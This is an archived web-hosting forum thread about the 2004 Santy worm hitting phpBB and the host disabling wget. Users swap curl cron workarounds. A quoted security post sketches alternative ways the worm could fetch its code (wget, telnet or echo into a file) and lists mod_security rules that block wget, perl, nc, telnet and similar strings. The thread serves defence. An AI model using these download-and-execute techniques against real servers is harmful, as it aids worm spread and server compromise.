View Full Version : Php Script Vulnerabilities
As we discussed here (http://www.hostpc.com/forums/index.php?showtopic=1704) phpBB was recently exploited to allow malicious commands to be sent to the servers, responsible for generating bulk emails, defacing sites, etc. With hard work, we identified and disabled MANY vulnerable copies of phpBB on the servers. The worm that did this damage was known as "Santy".
Well, with it being school break time in the US, it appears the "kids" are still playing, and have morphed SANTY into a couple of new variants. Santy.B and Santy.C
These variants use popular search engines like Google to locate malicious scripts, and then exploit them.
As some of you know, we had attempted to get (restore) a WGET feature restored that was safe to use in the user environment, and we're still working toward that goal. These 2 new variants have poked right through WGET again, and even through the replacement. So, until we can find another replacement, WGET is still disabled.
We'll also be working to identify other potentially vulnerable scripts. We've identified:
phpBB - waiting for a "fix" now.
PHPGroupWare
Zwiki
PHPAuction
WordPress WordPress 1.2.1
WordPress WordPress 1.2.2
If you're running any of these scripts, please BE SURE they're upgraded to the latest versions. If we find an out of date version, we may (ie probably will) disable it until it can be upgraded.
As for phpBB - I don't know what to say. It's a VERY popular script, but it seems the exploits for it are happening on a regular basis. It's very discouraging. Some users are finding Simple Machines and PUNbb good alternatives - SM is available through Installatron
If you have any questions - please let us know -here, or through the helpdesk if it's specific to your account - I'll do my best to find accurate / complete answers.
Joe
Originally posted by Joe@Dec 26 2004, 01:33 AM
As some of you know, we had attempted to get (restore) a WGET feature restored that was safe to use in the user environment, and we're still working toward that goal. These 2 new variants have poked right through WGET again, and even through the replacement. So, until we can find another replacement, WGET is still disabled.
Quoted post
Hi Joe,
Thanks for the input on this.
For those of us using WGET in our CRONTAB to fire off some PHP scripts, should I change to useing GET instead? I have daily CRONTAB scripts which must run, especially at the end of the year.
I didn't know that the wget issue and other scripts were related.
You can try GET ... not sure if it'll be successful or not, I haven't tested it yet. If you do, please let us know how you make out.
Just to add to the list of applications....
CA-LOGIC Calendar also uses (used?) WGET in a cron job to send out email reminders.
Does anyone have a work-around for using WGET to run a PHP script?
This email was received today:
From: Andy Fewtrell <afsec@throwaway.coldfyre.net>
I was writing some new rules for mod_security (http://www.modsecurity.org) to try and trap other methods that this sanity worm might try to exploit later. Unfortunately the ideas I came up with are slightly worrying with how easily this worm could actually spread. Right now the sanity worm uses perl and wget to download code from remote servers but this could be changed to a few other methods. These methods have not *yet* been used but I'm sure it is only time until there is one.
----------------
The first method:
Remote daemon:
Most, if not all, servers have some method to retrieve files from a remote server. Right now the worm uses wget to download its code. However an attacker could write a remote daemon to distribute the worm's code.
Instead of using: wget http://www.url.com/wormcode.txt they could (for example) telnet url.com:port > wormcode.txt and execute from that point.
It is pretty easy to write a simple daemon to dump the worm code to any incoming connection and disconnect. They could spread this daemon with the existing worm with very little modification. Then when the infected machine scans for new targets it can use its own local daemon. Obviously this method would not be as effective as the others because many servers have firewalls to block unauthorized port usage.
----------------
The second method:
Echo code to file directly:
Instead of wget it has to echo the entire worm code via the URL. This might not be possible due to a length restriction imposed by the httpd. However, in theory the worm code could be echo'd to file by the existing worm with little modification
Instead of wget http://www.url.com/wormcode.txt they can echo "[--worm code--]" > wormcode.txt and go from there.
----------------
I have not tested these methods but after discussing them with eth00, we both think it was better to post this to bugtraq in the hopes it may help other people prevent future attacks from new variations of this worm and help development of fixes to prevent future problems. While this worm currently uses perl it can be obviously re-written to avoid obvious mod_security (and other) rules. I could write proof of concept versions of the sanity worm but I feel it would be better to leave this out of the post.
For those more interested in the mod_security rules:
SecFilterSelective THE_REQUEST "wget "
SecFilterSelective THE_REQUEST "perl "
SecFilterSelective THE_REQUEST "lynx "
SecFilterSelective THE_REQUEST "ftp "
SecFilterSelective THE_REQUEST "scp "
SecFilterSelective THE_REQUEST "rcp "
SecFilterSelective THE_REQUEST "cvs "
SecFilterSelective THE_REQUEST "telnet "
SecFilterSelective THE_REQUEST "ssh "
SecFilterSelective THE_REQUEST "echo "
SecFilterSelective THE_REQUEST "nc "
SecFilterSelective THE_REQUEST "mkdir "
SecFilterSelective THE_REQUEST "cd /tmp"
SecFilterSelective THE_REQUEST "cd /var/tmp"
I am aware that I could write them all with (for example) "wget\x20" but on apache 1.3 this seems to fail. I am also aware they have the possibility to block legitimate requests but these calls should not be made via a http GET request. They are no means complete (all the usual compilers are missing) or free of errors. A rule for "links " could also be added but this will break CMS systems like phpnuke. These rules have been tested with apache 1.3.33 and php 4.3.10 (and also on phpbb 2.0.1 and 2.0.11) and they do not affect regular phpbb usage in any way but prevent the current worm exploits and cover the concepts I discussed above. Other rules can be added as methods are discovered until the vulnerability is fixed. I was under the impression php 4.3.10 fixed this problem but I have heard that a new sanity which spreads along with an sshd and still works with php 4.3.10 (The rules prevent this worm version too).
Hope this helps,
~Andy
I haven't had any luck trying to use a few different methods of firing off a php script in CRON without wget.
I tried:
GET
php (command line execution of a php script)
so far without luck.
either I had my syntax incorrect, or we simply have no permissions to do such things on our servers.
Does anyone else have a workaround for WGET or do we know when WGET will be back online?
I have been able to fire the CA-LOGIC calendar PHP script by using CURL with CRON.
After seeing the updates that Joe (et al.) were doing, it sparked some brain cells, and I went on an info hunt about CURL.
I am almost afraid to mention that the script is working with CURL, for the fear of some HACKER :ph34r: attacking CURL next.
/usr/bin/curl http://username:password@subdomain.mydomai...ndar/srxclr.php (http://username:password@subdomain.mydomain.com/calendar/srxclr.php) >/home/mydomain/calogic_curl_log.txt
So far, it has been processing the script for 24 hrs! :) (happy camper, for now)
VERY interesting.... thanks for the information, that could prove to be what we've been looking for!
This is working for me too. I'll have to read up on CURL commands now! ;)
Joe, please give us an update on wget as soon as you have any news on a 'fix'.
Thanks again!
mrshiney
01-12-2005, 05:04 PM
So are we going to get mod_security here at hostpc?
Is mod_security a good thing to use?
Is it enabled here at HostPC?
Sometimes I need to do htaccess stuff like mod_rewrite -- would mod_security interfere with things like that?
Generally, I'd be running scripts like punbb, wordpress, calendar, copermine gallery, etc, etc.
Charles
04-19-2008, 12:29 PM
Is mod_security a good thing to use?
Is it enabled here at HostPC?
Sometimes I need to do htaccess stuff like mod_rewrite -- would mod_security interfere with things like that?
Generally, I'd be running scripts like punbb, wordpress, calendar, copermine gallery, etc, etc.
Yes mod_security is a very good thing to use as most if not all hosts use it.
The problem becomes with hosts using it is that they don't update the rule set for mod_security. For more info. on mod_security use google.
yes mod_security can interfere with mod_rewrite rules but that all depends on the rule set in mod_security. If you believe that mod_security is causing an issued with your mod_rewrite open up a help desk ticket and give as much information as possible.
Note: Mod_security can be disabled per folder if you wanted to but I don't recommend any user to disabled mod_security and I am not going to mention how to do it for security reasons.
drop_bear
04-25-2008, 10:16 AM
What do you recommend as a bulletin board, given the difficulties highlighted here. My users want something as simple as possible. They're rugby players - if it involves too many passwords they lose interest. But they'll have to provide something, so what is there to use now?
dbmasters
04-25-2008, 11:22 AM
I like Simple Machines as far as packaged forum scripts go...
admin
04-25-2008, 12:29 PM
/me concurrs ... SMF is a great option - and easily setup through Installatron in your control panel.
champion6
04-25-2008, 07:06 PM
I recommend FireBoard, especially if your site is built with Joomla.
drop_bear
04-25-2008, 08:54 PM
ok, thanks guys.
vBulletin® v3.7.2, Copyright ©2000-2009, Jelsoft Enterprises Ltd.